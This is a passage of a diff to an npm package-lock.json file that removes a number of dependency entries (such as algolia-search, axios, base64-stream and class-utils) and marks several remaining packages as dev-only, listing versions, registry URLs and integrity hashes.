+- "resolved": "https://registry.npmjs.org/@types/superagent/-/superagent-3.8.7.tgz",
+- "integrity": "sha512-9KhCkyXv268A2nZ1Wvu7rQWM+BmdYUVkycFeNnYrUL5Zwu7o8wPQ3wBfW59dDP+wuoxw0ww8YKgTNv8j/cgscA==",
+- "dev": true,
+- "dependencies": {
+- "@types/cookiejar": "*",
+- "@types/node": "*"
+- }
+- },
+- "node_modules/@types/tough-cookie": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.1.tgz",
+- "integrity": "sha512-Y0K95ThC3esLEYD6ZuqNek29lNX2EM1qxV8y2FTLUB0ff5wWrk7az+mLrnNFUnaXcgKye22+sFBRXOgpPILZNg=="
+- },
+- "node_modules/@types/underscore": {
+- "version": "1.11.4",
+- "resolved": "https://registry.npmjs.org/@types/underscore/-/underscore-1.11.4.tgz",
+- "integrity": "sha512-uO4CD2ELOjw8tasUrAhvnn2W4A0ZECOvMjCivJr4gA9pGgjv+qxKWY9GLTMVEK8ej85BxQOocUyE7hImmSQYcg=="
+- },
+ "node_modules/@types/uuid": {
+ "version": "8.3.4",
+ "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.4.tgz",
+ "integrity": "sha512-c/I8ZRb51j+pYGAu5CrFMRxqZ2ke4y2grEBO5AUjgSkSk+qT2Ea+OdWElz/OiMf5MNpn2b17kuVBwZLQJXzihw==",
+ "dev": true
+ },
+- "node_modules/@types/ws": {
+- "version": "6.0.4",
+- "resolved": "https://registry.npmjs.org/@types/ws/-/ws-6.0.4.tgz",
+- "integrity": "sha512-PpPrX7SZW9re6+Ha8ojZG4Se8AZXgf0GK6zmfqEuCsY49LFDNXO3SByp44X3dFEqtB73lkCDAdUazhAjVPiNwg==",
+- "dependencies": {
+- "@types/node": "*"
+- }
+- },
+ "node_modules/@types/yauzl": {
+ "version": "2.9.2",
+ "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.9.2.tgz",
+@@ -6733,11 +5548,6 @@
+ "node": ">= 6.0.0"
+ }
+ },
+- "node_modules/agentkeepalive": {
+- "version": "0.1.5",
+- "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-0.1.5.tgz",
+- "integrity": "sha1-2N6s1a+xAjKUIi/CR5qd0DX9kLc="
+- },
+ "node_modules/aggregate-error": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
+@@ -6812,25 +5622,6 @@
+ "ajv": "^6.9.1"
+ }
+ },
+- "node_modules/algolia-search": {
+- "version": "1.5.14",
+- "resolved": "https://registry.npmjs.org/algolia-search/-/algolia-search-1.5.14.tgz",
+- "integrity": "sha1-Q2Vjg+/LnUTFHZB1dHZEgjg+SF8=",
+- "deprecated": "Please use the isomorphic `algoliasearch` package. See our migration guide at https://github.com/algolia/algoliasearch-client-js/wiki/Node.js-v1.x.x-migration-guide",
+- "engines": [
+- "node >= 0.6.0"
+- ],
+- "dependencies": {
+- "agentkeepalive": "0.1.5",
+- "buffers": "0.1.1",
+- "underscore": "1.4.4"
+- }
+- },
+- "node_modules/algolia-search/node_modules/underscore": {
+- "version": "1.4.4",
+- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.4.4.tgz",
+- "integrity": "sha1-YaajIBBiKvoHljvzJSA88SI51gQ="
+- },
+ "node_modules/algoliasearch": {
+ "version": "3.35.1",
+ "resolved": "https://registry.npmjs.org/algoliasearch/-/algoliasearch-3.35.1.tgz",
+@@ -6885,16 +5676,6 @@
+ "semver": "bin/semver"
+ }
+ },
+- "node_modules/amdefine": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz",
+- "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=",
+- "dev": true,
+- "optional": true,
+- "engines": {
+- "node": ">=0.4.2"
+- }
+- },
+ "node_modules/angular": {
+ "version": "1.8.2",
+ "resolved": "https://registry.npmjs.org/angular/-/angular-1.8.2.tgz",
+@@ -7032,11 +5813,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/any-promise": {
+- "version": "1.3.0",
+- "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
+- "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8="
+- },
+ "node_modules/anymatch": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz",
+@@ -7189,16 +5965,8 @@
+ "node_modules/argparse": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+- "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="
+- },
+- "node_modules/args-js": {
+- "version": "0.10.12",
+- "resolved": "https://registry.npmjs.org/args-js/-/args-js-0.10.12.tgz",
+- "integrity": "sha1-oyeuqA5BByo9hfnCdNtlEeuV5Jw=",
+- "engines": {
+- "node": ">0.8.0",
+- "npm": ">1.1.0"
+- }
++ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
++ "dev": true
+ },
+ "node_modules/aria-query": {
+ "version": "4.2.2",
+@@ -7213,30 +5981,6 @@
+ "node": ">=6.0"
+ }
+ },
+- "node_modules/arr-diff": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
+- "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/arr-flatten": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz",
+- "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/arr-union": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz",
+- "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/array-back": {
+ "version": "6.2.2",
+ "resolved": "https://registry.npmjs.org/array-back/-/array-back-6.2.2.tgz",
+@@ -7246,14 +5990,6 @@
+ "node": ">=12.17"
+ }
+ },
+- "node_modules/array-each": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/array-each/-/array-each-1.0.1.tgz",
+- "integrity": "sha1-p5SvDAWrF1KEbudTofIRoFugxE8=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/array-flatten": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
+@@ -7284,14 +6020,6 @@
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+- "node_modules/array-slice": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-1.1.0.tgz",
+- "integrity": "sha512-B1qMD3RBP7O8o0H2KbrXDyB0IccejMF15+87Lvlor12ONPRHP6gTjXMNkt/d3ZuOGbAe66hFmaCfECI24Ufp6w==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/array-union": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz",
+@@ -7311,14 +6039,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/array-unique": {
+- "version": "0.3.2",
+- "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
+- "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/array.prototype.flat": {
+ "version": "1.2.5",
+ "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.2.5.tgz",
+@@ -7393,14 +6113,6 @@
+ "node": "*"
+ }
+ },
+- "node_modules/assign-symbols": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz",
+- "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/ast-types-flow": {
+ "version": "0.0.7",
+ "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.7.tgz",
+@@ -7421,11 +6133,6 @@
+ "resolved": "https://registry.npmjs.org/async/-/async-3.2.2.tgz",
+ "integrity": "sha512-H0E+qZaDEfx/FY4t7iLRv1W2fFI6+pyCeTw1uN20AQPiwqwM6ojPxHxdLv4z8hi2DtnW9BOckSspLucW7pIE5g=="
+ },
+- "node_modules/async-limiter": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz",
+- "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ=="
+- },
+ "node_modules/async-listener": {
+ "version": "0.6.10",
+ "resolved": "https://registry.npmjs.org/async-listener/-/async-listener-0.6.10.tgz",
+@@ -7463,26 +6170,11 @@
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz",
+ "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==",
++ "dev": true,
+ "engines": {
+ "node": ">= 4.0.0"
+ }
+ },
+- "node_modules/atob": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz",
+- "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==",
+- "bin": {
+- "atob": "bin/atob.js"
+- },
+- "engines": {
+- "node": ">= 4.5.0"
+- }
+- },
+- "node_modules/auth0-id-generator": {
+- "version": "0.2.0",
+- "resolved": "https://registry.npmjs.org/auth0-id-generator/-/auth0-id-generator-0.2.0.tgz",
+- "integrity": "sha512-sJVZrGls/XB7TEsAovv6GsGwsjDBhBy014w+9x/DNZH8OTV8F/uioMmT68ADWtfbvfkJaNCYNjRs1dOVFyNqbQ=="
+- },
+ "node_modules/autolinker": {
+ "version": "0.28.1",
+ "resolved": "https://registry.npmjs.org/autolinker/-/autolinker-0.28.1.tgz",
+@@ -7581,14 +6273,6 @@
+ "node": ">=4"
+ }
+ },
+- "node_modules/axios": {
+- "version": "0.21.4",
+- "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz",
+- "integrity": "sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg==",
+- "dependencies": {
+- "follow-redirects": "^1.14.0"
+- }
+- },
+ "node_modules/axobject-query": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-2.2.0.tgz",
+@@ -7769,34 +6453,6 @@
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+ },
+- "node_modules/base": {
+- "version": "0.11.2",
+- "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz",
+- "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==",
+- "dependencies": {
+- "cache-base": "^1.0.1",
+- "class-utils": "^0.3.5",
+- "component-emitter": "^1.2.1",
+- "define-property": "^1.0.0",
+- "isobject": "^3.0.1",
+- "mixin-deep": "^1.2.0",
+- "pascalcase": "^0.1.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/base/node_modules/define-property": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
+- "dependencies": {
+- "is-descriptor": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/base64-js": {
+ "version": "1.5.1",
+ "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
+@@ -7816,41 +6472,6 @@
+ }
+ ]
+ },
+- "node_modules/base64-stream": {
+- "version": "0.1.5",
+- "resolved": "https://registry.npmjs.org/base64-stream/-/base64-stream-0.1.5.tgz",
+- "integrity": "sha512-j3OFbLDb8Wy0SM7HrP1zj8ADVHqaKoL8VNrDnd7wedkoz5onf9le2DgOsCdmg8QQPnUPXd7LLCjGnYAk/YDBFg==",
+- "dependencies": {
+- "readable-stream": "^2.0.2"
+- }
+- },
+- "node_modules/base64-stream/node_modules/isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+- },
+- "node_modules/base64-stream/node_modules/readable-stream": {
+- "version": "2.3.7",
+- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+- "dependencies": {
+- "core-util-is": "~1.0.0",
+- "inherits": "~2.0.3",
+- "isarray": "~1.0.0",
+- "process-nextick-args": "~2.0.0",
+- "safe-buffer": "~5.1.1",
+- "string_decoder": "~1.1.1",
+- "util-deprecate": "~1.0.1"
+- }
+- },
+- "node_modules/base64-stream/node_modules/string_decoder": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+- "dependencies": {
+- "safe-buffer": "~5.1.0"
+- }
+- },
+ "node_modules/base64id": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/base64id/-/base64id-0.1.0.tgz",
+@@ -7918,18 +6539,6 @@
+ "node": ">=0.6"
+ }
+ },
+- "node_modules/big.js": {
+- "version": "6.1.1",
+- "resolved": "https://registry.npmjs.org/big.js/-/big.js-6.1.1.tgz",
+- "integrity": "sha512-1vObw81a8ylZO5ePrtMay0n018TcftpTA5HFKDaSuiUDBo8biRBtjIobw60OpwuvrGk+FsxKamqN4cnmj/eXdg==",
+- "engines": {
+- "node": "*"
+- },
+- "funding": {
+- "type": "opencollective",
+- "url": "https://opencollective.com/bigjs"
+- }
+- },
+ "node_modules/bignumber.js": {
+ "version": "9.0.2",
+ "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.0.2.tgz",
+@@ -8217,17 +6826,6 @@
+ "node": ">=0.6.19"
+ }
+ },
+- "node_modules/btoa": {
+- "version": "1.2.1",
+- "resolved": "https://registry.npmjs.org/btoa/-/btoa-1.2.1.tgz",
+- "integrity": "sha512-SB4/MIGlsiVkMcHmT+pSmIPoNDoHg+7cMzmt3Uxt628MTz2487DKSqK/fuhFBrkuqrYv5UCEnACpF4dTFNKc/g==",
+- "bin": {
+- "btoa": "bin/btoa.js"
+- },
+- "engines": {
+- "node": ">= 0.4.0"
+- }
+- },
+ "node_modules/buffer": {
+ "version": "4.9.2",
+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz",
+@@ -8279,14 +6877,6 @@
+ "node": ">=0.10"
+ }
+ },
+- "node_modules/buffer-writer": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/buffer-writer/-/buffer-writer-2.0.0.tgz",
+- "integrity": "sha512-a7ZpuTZU1TRtnwyCNW3I5dc0wWNC3VR9S++Ewyk2HHZdrO3CQJqSpd+95Us590V6AL7JqUAH2IwZ/398PmNFgw==",
+- "engines": {
+- "node": ">=4"
+- }
+- },
+ "node_modules/buffer/node_modules/isarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+@@ -8473,14 +7063,6 @@
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
+ "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ="
+ },
+- "node_modules/byline": {
+- "version": "4.2.2",
+- "resolved": "https://registry.npmjs.org/byline/-/byline-4.2.2.tgz",
+- "integrity": "sha1-wgOpilsCkIIqk4anjtosvVvNsy8=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/bytes": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+@@ -8557,25 +7139,6 @@
+ "node": ">=10"
+ }
+ },
+- "node_modules/cache-base": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz",
+- "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==",
+- "dependencies": {
+- "collection-visit": "^1.0.0",
+- "component-emitter": "^1.2.1",
+- "get-value": "^2.0.6",
+- "has-value": "^1.0.0",
+- "isobject": "^3.0.1",
+- "set-value": "^2.0.0",
+- "to-object-path": "^0.3.0",
+- "union-value": "^1.0.0",
+- "unset-value": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/cache-flow": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/cache-flow/-/cache-flow-1.8.0.tgz",
+@@ -8612,53 +7175,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/cacheable-request": {
+- "version": "6.1.0",
+- "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz",
+- "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==",
+- "dependencies": {
+- "clone-response": "^1.0.2",
+- "get-stream": "^5.1.0",
+- "http-cache-semantics": "^4.0.0",
+- "keyv": "^3.0.0",
+- "lowercase-keys": "^2.0.0",
+- "normalize-url": "^4.1.0",
+- "responselike": "^1.0.2"
+- },
+- "engines": {
+- "node": ">=8"
+- }
+- },
+- "node_modules/cacheable-request/node_modules/get-stream": {
+- "version": "5.2.0",
+- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
+- "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
+- "dependencies": {
+- "pump": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=8"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+- "node_modules/cacheable-request/node_modules/lowercase-keys": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
+- "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==",
+- "engines": {
+- "node": ">=8"
+- }
+- },
+- "node_modules/cacheable-request/node_modules/normalize-url": {
+- "version": "4.5.1",
+- "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.1.tgz",
+- "integrity": "sha512-9UZCFRHQdNrfTpGg8+1INIg93B6zE0aXMVFkw1WFwvO4SlZywU6aLg5Of0Ap/PgcbSw4LNxvMWXMeugwMCX0AA==",
+- "engines": {
+- "node": ">=8"
+- }
+- },
+ "node_modules/cachedir": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/cachedir/-/cachedir-2.3.0.tgz",
+@@ -8733,6 +7249,7 @@
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
+ "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
++ "dev": true,
+ "engines": {
+ "node": ">=10"
+ },
+@@ -8740,27 +7257,6 @@
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+- "node_modules/camelcase-keys": {
+- "version": "4.2.0",
+- "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-4.2.0.tgz",
+- "integrity": "sha1-oqpfsa9oh1glnDLBQUJteJI7m3c=",
+- "dependencies": {
+- "camelcase": "^4.1.0",
+- "map-obj": "^2.0.0",
+- "quick-lru": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/camelcase-keys/node_modules/camelcase": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz",
+- "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=",
+- "engines": {
+- "node": ">=4"
+- }
+- },
+ "node_modules/camelize": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/camelize/-/camelize-1.0.0.tgz",
+@@ -8804,17 +7300,6 @@
+ "node": ">= 10"
+ }
+ },
+- "node_modules/celebrate": {
+- "version": "12.2.0",
+- "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-12.2.0.tgz",
+- "integrity": "sha512-dkcQaUL4zrPOua/NwTM74jf/NY3wv9Fyb1mkC2ru75KRHowSIDe/tJtIG9yRyPyFCfkr1odif8zNQq23eTwEYg==",
+- "dependencies": {
+- "@hapi/joi": "17.x.x",
+- "@types/hapi__joi": "17.x.x",
+- "escape-html": "1.0.3",
+- "lodash": "4.17.x"
+- }
+- },
+ "node_modules/chai": {
+ "version": "4.3.6",
+ "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.6.tgz",
+@@ -8857,24 +7342,6 @@
+ "chai": ">= 4.0.0 < 5"
+ }
+ },
+- "node_modules/chai-http": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/chai-http/-/chai-http-4.3.0.tgz",
+- "integrity": "sha512-zFTxlN7HLMv+7+SPXZdkd5wUlK+KxH6Q7bIEMiEx0FK3zuuMqL7cwICAQ0V1+yYRozBburYuxN1qZstgHpFZQg==",
+- "dev": true,
+- "dependencies": {
+- "@types/chai": "4",
+- "@types/superagent": "^3.8.3",
+- "cookiejar": "^2.1.1",
+- "is-ip": "^2.0.0",
+- "methods": "^1.1.2",
+- "qs": "^6.5.1",
+- "superagent": "^3.7.0"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+ "node_modules/chainsaw": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/chainsaw/-/chainsaw-0.1.0.tgz",
+@@ -8952,11 +7419,6 @@
+ "node": ">= 0.8.0"
+ }
+ },
+- "node_modules/check-types": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/check-types/-/check-types-5.1.0.tgz",
+- "integrity": "sha1-NzlN07YEKlEVXpJsOpF1PUmeXcg="
+- },
+ "node_modules/cheerio": {
+ "version": "1.0.0-rc.10",
+ "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.0.0-rc.10.tgz",
+@@ -9039,96 +7501,6 @@
+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz",
+ "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ=="
+ },
+- "node_modules/class-utils": {
+- "version": "0.3.6",
+- "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz",
+- "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==",
+- "dependencies": {
+- "arr-union": "^3.1.0",
+- "define-property": "^0.2.5",
+- "isobject": "^3.0.0",
+- "static-extend": "^0.1.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/class-utils/node_modules/define-property": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
+- "dependencies": {
+- "is-descriptor": "^0.1.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/class-utils/node_modules/is-accessor-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/class-utils/node_modules/is-accessor-descriptor/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/class-utils/node_modules/is-data-descriptor": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/class-utils/node_modules/is-data-descriptor/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/class-utils/node_modules/is-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+- "dependencies": {
+- "is-accessor-descriptor": "^0.1.6",
+- "is-data-descriptor": "^0.1.4",
+- "kind-of": "^5.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/class-utils/node_modules/kind-of": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/classnames": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.3.1.tgz",
+@@ -9167,6 +7539,7 @@
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/cli/-/cli-1.0.1.tgz",
+ "integrity": "sha1-IoF1NPJL+klQw01TLUjsvGIbjBQ=",
++ "dev": true,
+ "dependencies": {
+ "exit": "0.1.2",
+ "glob": "^7.1.1"
+@@ -9175,29 +7548,6 @@
+ "node": ">=0.2.5"
+ }
+ },
+- "node_modules/cli-color": {
+- "version": "1.4.0",
+- "resolved": "https://registry.npmjs.org/cli-color/-/cli-color-1.4.0.tgz",
+- "integrity": "sha512-xu6RvQqqrWEo6MPR1eixqGPywhYBHRs653F9jfXB2Hx4jdM/3WxiNE1vppRmxtMIfl16SFYTpYlrnqH/HsK/2w==",
+- "dev": true,
+- "dependencies": {
+- "ansi-regex": "^2.1.1",
+- "d": "1",
+- "es5-ext": "^0.10.46",
+- "es6-iterator": "^2.0.3",
+- "memoizee": "^0.4.14",
+- "timers-ext": "^0.1.5"
+- }
+- },
+- "node_modules/cli-color/node_modules/ansi-regex": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+- "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=",
+- "dev": true,
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/cli-cursor": {
+ "version": "3.1.0",
